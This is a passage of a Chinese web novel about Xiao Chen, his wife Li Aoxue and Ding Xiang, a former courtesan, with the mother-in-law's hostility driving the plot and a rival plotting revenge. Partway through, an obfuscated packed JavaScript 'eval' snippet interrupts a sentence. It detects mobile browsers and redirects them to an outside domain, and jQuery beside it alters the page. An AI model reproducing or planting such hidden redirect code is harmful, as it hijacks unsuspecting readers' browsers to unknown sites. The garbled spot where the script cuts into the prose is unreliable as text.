出了正屋,李傲雪拉住丁香的手,眼里满是歉意:“对不起,我……” “不关你的事。”丁香摇摇头,勉强笑了笑,“夫人也是为了公子好,我明白的。打扫就打扫,能为公子做些事,也好。” 可她转身走向杂物房拿扫帚时,脚步却有些发沉。雪花落在她的发间,带来丝丝凉意,就像肖母那句“贱蹄子”,扎得她心口生疼。 她不怕干活,怕的是这份刻意的贬低,怕的是自己真的会像肖母说的那样,成了影响肖晨前程的“晦气”。 书房里的肖晨,恰好透过窗缝看到丁香拿起扫帚的身影,又看到李傲雪站在一旁,神色为难。他心里咯噔一下,起身就要出去,却被刚进来送茶的丫鬟拦住:“公子,夫人吩咐了,不让任何人打扰您读书。” 肖晨的手攥紧了窗棂,指节泛白。他知道母亲的性子,也明白丁香此刻心里有多委屈。 这场春闱,他不仅要为自己争,更要为丁香争一个能堂堂正正站在阳光下的资格。 李傲雪的娘家离肖府不算远,这日午后,李父坐在堂屋喝茶,看着窗外的雪,忽然对李母道:“傲雪嫁过去快半年了,肖晨正忙着备考春闱,听说昼夜不歇,辛苦得很。” 李母正在纳鞋底,闻言抬头:“是啊,前几日女儿回门,说肖公子瘦了不少,眼底的青黑就没消过。” “你挑些好东西,明日去趟肖府。”李父放下茶杯,语气郑重,“带些人参、燕窝,再让厨房炖一坛滋补的汤,给肖晨补补身子。女儿在那边当家,咱们做爹娘的总得表表心意,别让人说咱们李家不懂规矩,女儿在婆家受委屈。” 李母笑着点头:“我也是这么想的。早就备着些上好的长白山参,本想等开春送过去,正好这几日雪大,送去暖身子正合适。” 她放下针线,起身去库房翻找:“再给傲雪带件新做的棉袄,她体寒,肖府事多,定是顾不上添衣裳。” 李父看着她忙碌的身影,又道:“去了跟亲家母好好说说话,别提府里的闲杂事,就说关心孩子们。肖晨是个有出息的,傲雪跟着他,咱们也放心。只是……” 他顿了顿,想起女儿提过的丁香,终究没多说,只道:“让傲雪凡事多担待些,毕竟是在婆家,要顾全大局。” 李母懂他的意思,叹了口气:“我知道,会劝她的。孩子们过得好,比什么都强。” 第二日雪停了,李母带着两个仆妇,提着大包小包的补品和衣物,往肖府去。刚到门口,就看到丁香拿着扫帚在扫廊下的雪,单薄的身影在寒风里有些瑟缩。 李母愣了一下,随即了然,心里暗叹一声,没多说什么,只让门房通报。 见到李傲雪时,母女俩眼圈都红了。李傲雪拉着母亲的手,话没说几句,李母就把带来的棉袄给她披上:“傻孩子,自己的身子都不顾。” 又把补品递给她:“这些给肖公子送去,让厨房好生炖着,告诉他别太拼,身子是本钱。” 李傲雪眼眶发热:“爹娘费心了。” 李母拍着她的手:“一家人说什么费心。你在这儿好好的,我们就安心。” 看着女儿虽忙碌却安稳的模样,李母知道,这趟没白来。李家的心意送到了,女儿在婆家的体面,也得靠这些细微处的关切,一点点立起来。 肖母见李母带着满满当当的东西上门,脸上的褶子都笑开了,拉着李母的手往里走:“亲家母可算来了,外面天寒地冻的,快进屋暖和暖和。”她一边让丫鬟上最好的茶,一边不住口地夸,“还是亲家母心细,知道肖晨备考辛苦,带这么多好东西来,真是太客气了。” 李母笑着应和:“孩子们过得好,我们做长辈的就放心。肖公子是干大事的人,这点心意算不得什么。” 两人寒暄半晌,肖母看了看天色,笑道:“你们母女俩许久没见,定有不少体己话要说,我让丫鬟备些点心,你们进里屋聊去。” 到了李傲雪的房间,屏退下人,李母才拉着女儿坐下,语气沉了沉:“傲雪,你如今嫁进肖家,就是肖家的人,凡事要多为婆家着想,伺候好肖晨是本分,知道吗?” 李傲雪点头:“娘放心,我会好好伺候少爷的,府里的事也都打理得妥当。” 李母却话锋一转,压低声音:“那个丁香,你可得多注意。她是花船出来的,那种地方的人,心思活络得很,高门大户最忌讳这个,自古就是规矩。” 她握住女儿的手,眼神带着告诫:“我听说前几日你为了她,跟婆婆顶了嘴?这可使不得!婆婆再怎么说也是长辈,你一个做媳妇的,哪有顶撞的道理?传出去,人家只会说我们李家没教好女儿,不懂规矩。” 李傲雪皱起眉:“娘,丁香她不是那样的人,她……” “我不管她是什么人!”李母打断她,语气重了几分,“大户人家有大户人家的规矩,你是正头媳妇,就该守好自己的本分。男人和公婆的话,要多听多记,别总想着替旁人出头。她身份摆在哪儿,受些委屈也是难免的,你掺和进去,反倒让婆婆对你生嫌隙。” 她叹了口气:“娘知道你心善,可这世道就是如此。你得先站稳自己的脚跟,将来才能护着自己想护的人。现在跟婆婆闹僵了,对你有什么好处?肖晨专心备考,你更该让家里安安稳稳的,别给他添乱。” 李傲雪沉默了。母亲的话虽苛刻,却也是现实。她看着窗外飘落的雪花,想起丁香在寒风里扫地的身影,心里一阵矛盾。 李母见她不语,知道她听进去了,放缓了语气:“娘不是让你刻薄她,只是让你懂得分寸。等肖晨高中了,一切尘埃落定,再做打算也不迟。眼下,稳住才是最重要的。” 李傲雪轻轻“嗯”了一声,心里却沉甸甸的。她知道母亲是为自己好,可看着丁香受委屈,她终究是不忍。 李母见李傲雪低头不语,索性把话说得更直白些,语气里带着几分急切:“你当只有肖母容不下她?换了别家大户人家,像丁香这样的出身,早就被打出去或是发卖了,哪能留到现在?” 她攥紧李傲雪的手,力道带着不容置疑的强硬:“肖公子是什么人?将来是要做大官、光宗耀祖的!他身上可不能有半点污点!花船是什么地方?那是供男人寻欢作乐的去处,卖笑为生的女子,说句不好听的,身子就算干净,脸面也早被无数男人看过、轻薄过了!” “女人这辈子,最重要的就是贞洁和名声。”李母的声音压得更低,却字字像针,“她从那种地方出来,名声早就烂了,跟肖公子站在一起,就是块洗不掉的泥渍!旁人背后指的是她吗?是肖公子,是整个肖家!连带着你这个做正妻的,脸上都无光!” 李傲雪的嘴唇抿得发白,想反驳,却被母亲接下来的话堵得死死的。 “我知道你心软,可你得为自己想想!”李母的眼眶红了,带着几分后怕,“你要是再为了她顶撞婆婆,惹得肖家不快,真被休回娘家,我和你爹的老脸往哪儿搁?街坊邻居怎么看我们?你这辈子还能抬得起头吗?” 她用力拍了拍女儿的手背:“娘不是狠心,是过来人!这世道对女人本就苛刻,一步错步步错!你安安分分做好你的正妻,等肖公子功成名就,你就是诰命夫人,到时候想帮谁不行?非要现在硬碰硬,把自己搭进去吗?” 李傲雪低着头,眼泪落在手背上,冰凉一片。母亲的话像一把钝刀,割得她心口生疼,却又无力反驳。 是啊,世人的眼光就是如此,规矩就是如此。丁香的出身,仿佛一道天生的枷锁,无论她多好、多干净,都被钉在“卑贱”的标签上。 “娘……”她哽咽着开口,声音发颤,“可她真的很可怜……” “可怜的人多了去了!”李母打断她,语气决绝,“你顾不过来!先顾好你自己!听话,别再管她的事,就当是为了爹娘,为了你自己!” 李傲雪闭上眼,泪水无声滑落。窗外的雪又开始下了,细密的雪花像是要把整个世界都埋起来,连同那些说不清道不明的委屈和无奈。 她知道,从这一刻起,有些事,她或许真的无能为力了。 60.三人同榻而眠,肖母的怒火 李母见她神色松动,语气缓和了些,拉着她的手细细摩挲:“你有那心思操心旁人,不如多顾顾你的男人。肖公子年纪还轻,尚未完全成年,前些日子听你说他熬得瘦了,这身子骨哪禁得住这般折腾?” 她叹了口气:“你比他大三岁,本就该多疼惜他几分。夜里书房冷,你多起来看看,炭火够不够旺,茶水是不是凉了;他看书入迷忘了吃饭,你就亲自去请,软声软语劝他垫垫肚子。男人嘛,心里都记着谁对他好,你把他照顾得妥帖,他自然待你敬重。” 李傲雪吸了吸鼻子,擦掉眼泪,用力点头:“娘,我知道了,我会好好心疼少爷的,绝不会让他累着。” 李母这才露出满意的神色,又叮嘱了几句府里人情往来的细节,看看日头不早,便起身准备告辞。 “娘走了,你好生过日子,别让我和你爹挂心。”她走到门口,又回头看了一眼,“记住娘的话,守住本分,比什么都强。” 李傲雪送她到府门口,看着母亲的马车消失在街角,才缓缓转身。寒风卷着雪花扑在脸上,她裹紧了身上的棉袄,心里却像空了一块。 回到院子里,正看到丁香蹲在地上,用抹布细细擦拭廊柱的底座,手指冻得通红。听到脚步声,丁香抬头看了她一眼,眼神里带着一丝怯意,又低下头继续干活。 李傲雪站在原地,母亲的话还在耳边回响,看着丁香单薄的身影,终究是没走上前,默默转身往书房去了。 她得去看看肖晨,看看他的炭火够不够,看看他今日的饭食是不是合胃口。就像母亲说的,先顾好该顾的人,先守住该守的本分。 只是心里那点说不清的涩意,像落在衣襟上的雪花,化不开,也拂不去。 寒风像刀子似的刮过脸颊,丁香握着抹布的手早已冻得失去知觉,指尖红肿开裂,沾着冰水时,疼得她悄悄吸了口冷气。 院子里的积雪刚扫过,又落了层薄冰,她跪在地上擦廊檐下的石阶,膝盖隔着单薄的裤子,冻得发麻。路过的仆妇们低着头匆匆走过,没人敢多看她一眼——肖母的话早就传遍了下人间,谁也不想沾这晦气。 她其实早就冻得受不住了,好几次想回屋暖和片刻,可脚刚抬起来,就想起肖母冰冷的眼神,想起李傲雪为了护她,被婆婆瞪着的模样。 “我是媳妇,哪能让婆婆生气呢。”她在心里对自己说,把冻僵的手往嘴边呵了呵气,继续埋头擦着。肖母最忌讳她的出身,如今又是公子备考的关键时候,若是自己再惹出是非,耽误了公子前程,那才是万死难辞。 更何况,少夫人已经为她受了不少委屈。李母来府里,她在窗外扫雪时,隐约听见屋里的争执,知道少夫人夹在中间有多为难。她不能再让少夫人因为自己,跟婆婆闹得更僵。 正擦着,忽然听见脚步声,她以为是肖母来了,慌忙加快动作,却听见熟悉的声音带着急意:“怎么跪在地上?快起来!” 是肖晨。 他不知何时从书房出来了,手里还攥着书卷,看到她冻得发紫的嘴唇和通红的手,眉头瞬间拧成了疙瘩,弯腰就想拉她起来。 丁香吓了一跳,连忙往后缩:“公子,我……我还没擦完呢,夫人说……” “她说的话你就非要听?”肖晨的声音带着火气,直接将她从地上拉起来,脱下自己的棉袍裹在她身上,“冻成这样还硬撑着?你是傻的吗?” 棉袍上还带着他的体温,暖得丁香鼻尖一酸,眼泪差点掉下来。她摇摇头,小声道:“我没事,别让夫人知道了又生气。” 肖晨看着她冻得发僵的手指,心里又气又疼:“她生气又如何?难道要眼睁睁看着你冻出病来?” 他攥着她的手往书房走,语气坚定:“我的媳妇,轮不到别人作践。走,跟我进去烤火。” 丁香被他拉着,脚步有些踉跄,心里却像被什么东西填满了,暖融融的。是啊,就算有再多委屈,只要这个人护着她,好像就什么都不怕了。 进了书房,暖意扑面而来。肖晨连忙将墙上挂着的厚披风取下来,仔细裹在丁香身上,连她的肩膀和脖颈都裹得严严实实,只露出一双眼睛。 “手给我。”他不由分说拉起她冻得通红的手,直接揣进自己贴身的衣襟里。他的体温透过单薄的中衣传过来,像暖炉似的熨帖着她冰凉的指尖,丁香下意识想抽回手,却被他攥得更紧。 “公子,这样会耽误你读书的。”她低着头,声音细若蚊蚋,脸颊却烫得厉害。书房里还摊着他没看完的书卷,砚台里的墨汁冒着热气,显然他刚才还在埋头苦读。 肖晨没说话,只是低头看着她。她的睫毛上还沾着细小的雪花,鼻尖冻得红红的,像只受了委屈却强撑着的小兔子。这些日子她受的委屈,他都看在眼里,疼在心里,偏生被母亲绊着,没能护她周全。 一股愧疚和怜惜涌上心头,他忽然俯下身,轻轻吻住了她的唇。 丁香猛地睁大眼睛,整个人都僵住了。他的吻很轻,带着书卷的墨香和炭火的暖意,驱散了她唇上的寒意,也驱散了她心里积压的委屈。 一吻结束,肖晨抵着她的额头,声音低沉而坚定:“你是我的女人。” 他看着她的眼睛,一字一句道:“在我心里,你最重要。什么功名前程,都比不上你好好的。” 丁香的眼泪再也忍不住,顺着脸颊滑落,滴在他的衣襟上。她抬手捂住嘴,怕自己哭出声,肩膀却控制不住地发抖。 原来他都知道,原来他都记着。 肖晨轻轻擦掉她的眼泪,将她揽进怀里:“以后别再硬撑着,谁要是欺负你,不管是谁,都告诉我。我读书是为了什么?不就是为了能堂堂正正护着你,让你不受半分委屈吗?” 他拿起她的手,放在唇边呵着气:“冻坏了吧?我让丫鬟拿冻疮膏来。” 丁香摇摇头,往他怀里靠得更紧,声音带着浓重的鼻音:“只要公子心里有我,我就不冷了。” 丫鬟很快端来冻疮膏,肖晨拧开瓷盒,挖出一点温热的膏体,小心翼翼地抹在丁香红肿的指尖上。药膏带着淡淡的药香,触到皮肤时有些微凉,却奇异地缓解了刺痛。 他一边轻轻揉搓着她的手,一边低声道:“以后不许再这么熬着,你要好好爱自己,知道吗?” 丁香点点头,眼眶还红着。 肖晨放下她的手,语气笃定:“一会儿我就去跟母亲说,让你回我身边来。我读书的时候,你在跟前研墨、添茶,我也能时时看着你,才放心。” 丁香却慌了,连忙摆手:“公子,万万不可!”她抬头看着他,眼里满是担忧,“万一母亲不同意,岂不是又要惹她生气?她本就对我有意见,若是知道你特意为我说话,说不定会更不待见我……我不想让你为难。” 她知道肖母的脾气有多执拗,更知道“孝道”二字在这个时代有多重。肖晨正忙着备考,她怎能让他因为自己,和母亲起冲突? “为难也不能让你受委屈。”肖晨握住她的手,眼神坚定,“母亲只是一时转不过弯,我好好跟她说,她会明白的。你是我的妻子,本就该在我身边,哪有让你跟着下人干活受冻的道理?” 他站起身,整理了一下衣襟:“你在这儿等着,我去去就回。” 丁香看着他的背影,心里又暖又急。她知道肖晨护着她,可也怕这份护着,会让他在母亲面前难做人。 书房里只剩下她一人,披风上还留着他的体温,冻疮膏在指尖慢慢化开,暖意顺着血脉蔓延开来。她轻轻摩挲着手指,心里默默祈祷:但愿夫人能松口,但愿公子不要因此和母亲闹僵。 李傲雪正坐在肖母身后,轻轻给她捶着背,肖母闭目养神,脸色稍缓。忽听门外脚步声,睁眼便见肖晨进来,她刚要开口问他读书累不累,就听儿子沉声道:“娘,儿子有话想说。” 肖母挑眉:“什么事?” “让丁香回书房伺候吧,她在跟前,我读书更安心。”肖晨开门见山。 肖母的脸瞬间沉了下来,瞥了眼李傲雪,语气带着嘲讽:“傲雪在这儿,难道伺候得不好?非要那个贱蹄子在跟前碍眼?” 李傲雪的手顿了顿,没敢作声。 肖晨却寸步不让:“娘若是不允,那我谁也不要伺候了。”他看着母亲,眼神里带着执拗,“您要是再为难丁香,我心里堵得慌,书也读不进去,反倒耽误了备考。” 这话像块石头砸在肖母心上。她最看重的就是儿子的前程,一听“耽误备考”四个字,顿时急了,坐直身子瞪着他:“你这孩子!为了个贱女人,竟拿自己的前程赌气?” 嘴上虽怒,心里却打起了算盘。儿子说的是实话,他若真安不下心,春闱出了岔子,那才是天大的事。那个贱蹄子固然碍眼,可比起儿子的功名,终究是小事。 肖晨见她神色松动,放缓了语气:“娘,儿子不是赌气。丁香性子静,在跟前研墨添茶,不会扰了我。您就让她去书房吧,儿子定能安心读书,绝不辜负您的期望。” 肖母狠狠瞪了他一眼,又瞥了眼低头站着的李傲雪,终是咬着牙道:“罢了罢了!就依你!但你得答应我,让她安分守己,别在我跟前晃悠,更别生出什么乱七八糟的事!” “儿子谢娘。”肖晨松了口气。 肖母挥挥手:“滚吧滚吧,别在这儿烦我。”心里却暗忖:等你春闱高中,看我怎么收拾那个小贱人! 肖晨转身往外走,脚步轻快了许多。李傲雪看着他的背影,轻轻舒了口气,肖母却狠狠拍了下她的手:“还愣着干什么?捶重点!” 她低下头,继续给婆婆捶背,心里却明白,这场风波虽暂歇,可那根刺,终究还扎在每个人心里。 肖晨推开书房门时,丁香正裹着披风坐在炉边,手里捏着他刚才放下的书卷,看得有些出神。听见动静,她慌忙抬头,眼里还带着几分忐忑。 “都妥当了。”肖晨走过去,笑着揉了揉她的头发,“以后你就守在这书房里,陪着我。” 丁香愣住了:“真的?母亲她……” “娘那边我已经说通了。”他拉着她走到书桌旁,指着摊开的策论,“你从前跟着花船上的先生学过字,文笔功底本就不错,与其闲着,不如跟我一起读书。遇到不懂的地方,咱们还能互相讨教。” 他拿起一支新笔,蘸了蘸墨:“你看这篇策论里的典故,你前日还跟我讲过类似的民间故事,其实道理是相通的。” 丁香看着他眼里的认真,心里的不安渐渐散去,取而代之的是难以言喻的暖意。她点点头,指尖轻轻拂过书页:“我……我怕笨手笨脚的,给你添乱。” “怎么会。”肖晨握住她的手,放在笔杆上,“研墨、抄书,这些你都做得来。有丫鬟在外间听候,洒扫、端茶的活计不用你沾手,安心陪我就好。” 说话间,外间的丫鬟已经端来新沏的热茶,轻手轻脚放在桌上,又悄无声息地退了出去。 丁香看着跳跃的烛火,看着身边低头翻书的肖晨,忽然觉得那些委屈和寒冷都成了过眼云烟。她拿起一张素笺,蘸了墨,轻声问:“公子想让我抄哪篇?” 肖晨笑着指了指其中一页:“就这篇吧,你抄一遍,我正好再理理思路。” 暮色漫进窗棂时,李傲雪端着食盒走进书房,见丁香正帮肖晨研墨,两人凑在一处低声说着什么,烛火映得侧脸都带着暖意。她脚步顿了顿,随即扬起笑意:“少爷,丁香姑娘,该用晚膳了。” 肖晨抬头,招手让她过来:“傲雪快来,坐下一起吃。” 李傲雪把饭菜一样样摆在桌上,轻声道:“不了,我回房吃就行,少爷赶紧用,一会儿该凉了。” “坐下吧,”肖晨拿起筷子,语气带着温和的坚持,“这些日子府里的事多亏了你,辛苦你了。”他夹了块她爱吃的酥鱼放进她碗里,“我知道你里外忙,还要应付母亲,没少受委屈。” 李傲雪心里一暖,眼眶有些发热,低下头小声道:“都是儿媳该做的。” “总闷在屋里读书也累得慌,”肖晨忽然笑了,“等吃完了饭,雪停了,咱们去院子里推个雪人吧?就当松快松快。” 丁香眼睛一亮,抬头看向窗外——雪果然小了,月光透过云层洒下来,院子里积着厚厚的雪,像铺了层白绒毯。 李傲雪也忍不住笑了:“都多大的人了,还玩这个?”嘴上这么说,眼里却漾着笑意。 “怎么就不能玩了?”肖晨挑眉,“读书要专心,放松也要彻底。再说,我还从没跟你们一起堆过雪人呢。” 他给丁香夹了块热豆腐:“快吃,吃完咱们就去。让丫鬟找两个胡萝卜当鼻子,再寻顶旧帽子戴上,定能堆个神气的雪人。” 丁香小口嚼着豆腐,心里暖融融的。 晚膳后,雪果然停了。肖晨让丫鬟取来竹筐,里面装着胡萝卜、煤球,还有一顶褪了色的旧毡帽。李傲雪笑着找了副手套,丁香也揣上暖炉,三人相携着走到院里。 月光洒在雪地上,亮得能看清彼此的眉眼。肖晨率先捧起一把雪,揉成个雪球:“先堆身子,得扎实些。” 丁香跟着学样,却没留意脚下的冰,刚走两步就踉跄着要摔,肖晨眼疾手快扶住她,自己反倒趔趄了一下,逗得李傲雪笑出了声。 “公子慢点。”丁香红着脸站稳,伸手去接他手里的雪团,两人的手在雪地里碰了碰,都缩了缩脖子,又忍不住相视而笑。 李傲雪在一旁滚着雪堆,看他们俩围着雪球忙得不亦乐乎,心里那点微妙的隔阂渐渐化了。她忽然把一个大雪球往肖晨背上一抛:“看招!” 雪沫子溅了他一肩,肖晨故作夸张地喊:“好啊,竟敢偷袭!”抓起一把雪就往她身上扬,李傲雪笑着躲开,丁香也被连累,鬓角沾了片雪花,像落了朵碎梅。 三人闹了一阵,才正经堆起雪人。肖晨垒雪堆当身子,李傲雪扶着雪团做脑袋,丁香踮着脚把胡萝卜插进雪人的脸,又用煤球按出圆眼睛。最后肖晨把旧毡帽往雪人头上一扣,拍了拍手:“成了!” 月光下,雪人歪戴着帽子,红鼻子翘得老高,倒真有几分憨态可掬。丁香忍不住伸手摸了摸雪人的胳膊,指尖沾了雪,却笑得眉眼弯弯。 “冷不冷?”肖晨见她鼻尖发红,把自己的暖炉塞给她,“进去吧,夜深了。” 李傲雪看着雪人,忽然道:“等春闱结束,若是放晴了,咱们再来看它。” “怕是等不到那时,它就化了。”肖晨笑道,“不过没关系,等明年下雪,咱们再堆一个更大的。” 回屋时,丁香走在最后,回头望了眼月光下的雪人,心里忽然踏实了。她知道,雪人总会化的,就像眼前的困境或许也会过去。 书房里的烛火还亮着,肖晨铺开宣纸,忽然对丁香说:“你上次写的那首咏梅诗,我觉得甚好,再抄一遍给我看看?” 丁香应着,提笔蘸墨。李傲雪坐在一旁,看着他们一个写字、一个指点,忽然拿起剪刀,捡了几片红纸剪起窗花来。 夜渐深,烛火燃得只剩小半截,映得书页上的字迹有些昏沉。肖晨揉了揉发胀的太阳穴,抬头见丁香还在灯下抄写他批注过的文章,笔尖在纸上沙沙作响,李傲雪则歪坐在榻边,手里捧着本书,眼皮已经开始打架。 他放下笔,轻笑道:“都这时候了,别熬了。” 两人同时抬头,丁香连忙吹了吹刚写好的字,李傲雪也直了直身子:“你还没看完呢。” “不差这一晚。”肖晨起身伸了个懒腰,骨节发出轻响,“我让丫鬟铺床,今晚咱们一起歇着。” 丁香手里的笔“啪嗒”掉在桌上,脸瞬间红透,低着头不敢看人。李傲雪也愣了愣,随即明白过来他是怕她们来回折腾,笑着嗔道:“多大的人了,还跟孩子似的。” 肖晨却不管,径直让外间候着的丫鬟去抱被褥。“这书房里的软榻够宽,挤一挤正好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114921|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他拿起暖炉塞进丁香手里,“你白日受了冻,夜里得暖和些。”又转头对李傲雪道,“你这些日子也没睡好,今晚踏踏实实歇着,府里的事明早再说。” 丫鬟很快铺好了床,软榻上铺着厚厚的褥子,叠着两床锦被,暖炉也放进了被窝里。肖晨吹熄了桌上的烛,只留着窗边一盏小灯,光晕朦胧。 丁香被他推着躺下,身子还绷得紧紧的,直到肖晨在她身侧躺下,带着体温的被褥裹住两人,她才慢慢放松下来。李傲雪躺在外侧,隔着肖晨能听见他平稳的呼吸声,心里忽然很安宁。 “其实……”丁香的声音细若蚊蚋,“我小时候总盼着下雪天,能和邻居家的姐妹挤在一张床上说悄悄话。” 李傲雪轻笑:“我家族姐妹多,每到冬夜就抢暖炉,母亲总说我们像群小麻雀。” 肖晨听着她们轻声说话,忽然插嘴:“等将来有了院子,咱们就砌个大炕,冬天烧得暖暖的,再邀上三五好友,围坐着喝酒赏雪。” “谁要跟你那些酸儒好友挤炕头。”李傲雪打趣道,“我要在廊下挂红灯笼,炖着羊肉汤,闻着香味就够了。” 丁香也跟着笑:“我想在窗台上摆盆腊梅,下雪的时候,屋里能闻见花香。”三个人的声音慢慢小了,都抱着他安静的进入了梦里。 天刚蒙蒙亮,守在外间的丫鬟轻手轻脚推门进来,想给炉子里添些炭火。刚走到里间门口,就见软榻上被褥堆得高高的,肖晨睡在中间,李傲雪和丁香一左一右依偎着,三人呼吸均匀,显然睡得正沉。 丫鬟手里的炭铲“当啷”一声掉在地上,她慌忙捂住嘴,脸“腾”地红透了。 这、这成何体统! 少夫人是正头娘子,陪在少爷身边天经地义,可那个丁香……她一个身份不明的妾室,竟也和主子们挤在一张榻上,还靠得那样近! 丫鬟越想越心惊,悄悄退出去,背靠着门板直喘气。这事要是传出去,别说府里的规矩容不下,怕是要被街坊邻居笑掉大牙——肖公子可是要考功名的人,家里竟乱成这样! 她心里七上八下,既不敢声张,又觉得这事非同小可。正纠结着,就见肖母的贴身婆子从廊下走过,眼神往书房这边瞟了瞟。 丫鬟心里一紧,连忙低下头,假装整理袖口。可那婆子像是察觉到什么,径直走过来:“里面动静呢?少爷醒了没?” “没、还没呢……”丫鬟结结巴巴道。 婆子狐疑地看了她一眼,伸手就去推门:“我进去看看,夫人让我来催少爷起身温书。” “别!”丫鬟下意识拉住她,又慌忙松手,“我、我是说,少爷许是累着了,让他多睡会儿……” 她这反应反倒让婆子起了疑心,一把推开她进了屋。刚绕过屏风,就看见软榻上的情形,顿时倒吸一口凉气,转身就往外走,脚步又急又重,显然是要去回禀肖母。 丫鬟吓得脸都白了,知道这下闯大祸了。她望着软榻上还未醒的三人,急得直跺脚——好好的一个清晨,怎么就闹出这种事来? 而榻上的人,还沉浸在安稳的睡梦中。肖晨无意识地往丁香那边靠了靠,李傲雪的手搭在被子上,指尖几乎要碰到肖晨的衣袖。窗外的晨光悄悄爬进来,落在他们脸上,温柔得像什么都不会发生。 婆子几乎是小跑着冲进肖母的院子,进门就嚷:“夫人!不好了!出大事了!” 肖母刚对着镜子梳好头,闻言皱眉:“大清早的嚷嚷什么?天塌下来了不成?” “比天塌下来还急!”婆子喘着气,压低声音却难掩激动,“老奴刚去书房看少爷,就见……就见少爷和少夫人、还有那个丁香,三个人挤在一张榻上睡呢!那丫鬟还想拦着,定是心里有鬼!” 肖母手里的玉簪“啪”地掉在妆台上,脸色瞬间铁青。她最看重规矩体面,如今儿子竟做出这等荒唐事,还是和那个贱蹄子一起! “反了!真是反了!”她猛地站起身,抓起桌上的茶盏就往地上砸,“备车!不,我亲自去看看!我倒要瞧瞧,他们是怎么在我眼皮子底下作妖的!” 一路怒气冲冲赶到书房,刚走到门口就听见里面的说话声。 “……昨晚睡得真沉,竟没醒一次。”是李傲雪的声音,带着几分刚醒的慵懒。 “许是累着了。”肖晨轻笑,“丁香,你的手还冷吗?我让厨房炖了姜茶。” “不冷了,公子。”丁香的声音温温柔柔的。 肖母听得火冒三丈,“砰”地推开房门:“好啊!真是好得很!” 屋里三人吓了一跳,见肖母脸色铁青地站在门口,身后跟着一脸得意的婆子,顿时明白过来。丁香下意识往肖晨身后躲了躲,李傲雪连忙起身行礼:“娘。” 肖晨却挡在丁香身前,皱眉道:“娘这是做什么?大清早的发这么大火。” “我发火?”肖母指着榻上的被褥,气得浑身发抖,“肖晨,你给我说清楚!你们三人同榻而眠,成何体统!传出去,你的功名还要不要了?我们肖家的脸面还要不要了?” 她的目光像刀子似的刮过丁香:“定是你这狐狸精勾引的!我就知道留你在府里没好事,今日我非要打死你这个败坏门风的贱蹄子!” 说着就抄起墙角的鸡毛掸子要打过来,肖晨连忙拦住:“娘!你别不讲理!昨晚是我让她们留下的,天太冷,软榻宽,挤着暖和些,我们什么都没做!” “什么都没做?”肖母冷笑,“孤男寡女同处一室已是不妥,如今还三人同榻,你当我是傻子不成?李傲雪,你也是!你就任由他们胡闹?你这个正妻是怎么当的!” 李傲雪脸色发白,却还是硬着头皮道:“娘,昨晚确实是少爷让歇在书房的,我们只是……只是累极了,没顾上许多。” “没顾上?”肖母甩开肖晨的手,指着丁香,“我看就是你这个小贱人魅惑主上!来人啊!把她给我拖下去,杖责二十,发卖到庄子上!” “谁敢动她!”肖晨将丁香护得更紧,眼神冷得像冰,“娘要是非要罚她,就先打死我!这书我也不读了,这功名我也不要了!” “你——”肖母被他堵得一口气差点没上来,指着他的手都在抖,“你为了她,连娘都不要了?连前程都不要了?” “我不是不要娘,也不是不要前程。”肖晨的声音沉得像石头,“但我更不能看着你们冤枉她、欺负她。她是我的人,我护着她天经地义。至于脸面规矩,若连自己想护的人都护不住,读再多书、有再大前程,又有什么用?” 书房里霎时安静下来,只有肖母粗重的喘气声。李傲雪站在一旁,看着肖晨挺直的背影,忽然上前一步:“娘,都是儿媳的错。是我没拦住少爷,也是我没分寸,您要罚就罚我吧。” 丁香从肖晨身后探出头,红着眼眶道:“不关少夫人的事,也不关公子的事,是我……是我不该留下,夫人要罚就罚我一个人。” 肖母看着眼前这三人,倒像是自己成了外人。她胸口起伏着,忽然一跺脚:“好!好得很!你们都护着她是吧?行!我倒要看看,你们能护她到几时!” 说罢,她狠狠瞪了众人一眼,甩袖而去。婆子见状,也赶紧跟了上去。 门被重重带上,书房里的暖意仿佛被抽走了大半。丁香攥着肖晨的衣袖,声音发颤:“都怪我……又惹母亲生气了。” “不怪你。”肖晨轻轻拍着她的背,看向李傲雪,“也委屈你了。” 李傲雪摇摇头,苦笑一声:“这事怕是瞒不住了,往后府里的闲话,怕是少不了。” 肖晨沉默片刻,忽然抬头,眼神坚定:“闲话由他们说去。只要我们行得正坐得端,总有一天,娘会明白的。” 他拿起桌上的书卷:“该温书了。这点风浪,还打不倒我们。” 晨光从窗缝里钻进来,落在书页上,也落在三人交握的手上。风波虽未平,但这一刻,他们心里都清楚——往后的路,要一起走了。 61.算计他,让二人误会 王老爷坐在紫檀木椅上,手指敲着桌面,看着对面正襟危坐的儿子王景明,慢悠悠开口:“景明,你可知为父为何让你忍这口气?” 王景明攥着拳,脸上还带着几分不甘:“爹是说肖晨?” “正是。”王老爷端起茶盏抿了口,“肖家虽是京城首富,看着风光,但论根基人脉,未必比得上咱们王家。你当我这些日子在府里闲坐?六部那边我早已打点妥当,连主考官的门生都收了我的帖子,春闱之事,已有七八分把握。” 他放下茶盏,眼中闪过一丝精明:“你现在要做的,就是沉住气。好好读书,把肖晨比下去,这才是最要紧的。” 王景明眼神一动:“爹的意思是……” “读书闷了,就出去走走,结交些文友,活络活络人脉。”王老爷看穿了儿子的心思,却不点破,“但别忘了正经事。等你金榜题名,官袍加身,肖家算什么?肖晨又算什么?” 这话像火星子点燃了王景明心里的戾气,他猛地抬头,眼中闪过狠光:“爹放心,我绝不会输给他!” 他想起那日在茶楼远远瞥见的丁香,想起她站在肖晨身边时温顺的模样,指甲几乎要嵌进肉里:“我不仅要在功名上压过肖晨,让他抬不起头,还要把丁香抢回来!” “抢回来?”王老爷挑眉。 “不止。”王景明的声音带着阴鸷,“她不是对肖晨死心塌地吗?等我把她弄到手里,定要让她尝尝什么叫生不如死。让她跪着给我端茶倒水,让她看着我如何风光,如何把肖家踩在脚下!” 王老爷看着儿子扭曲的神色,没斥责也没赞同,只是淡淡道:“成大事者,不能被儿女情长绊住,但也不能少了锐气。你想做什么,爹不拦你,前提是——你得有那个本事。” 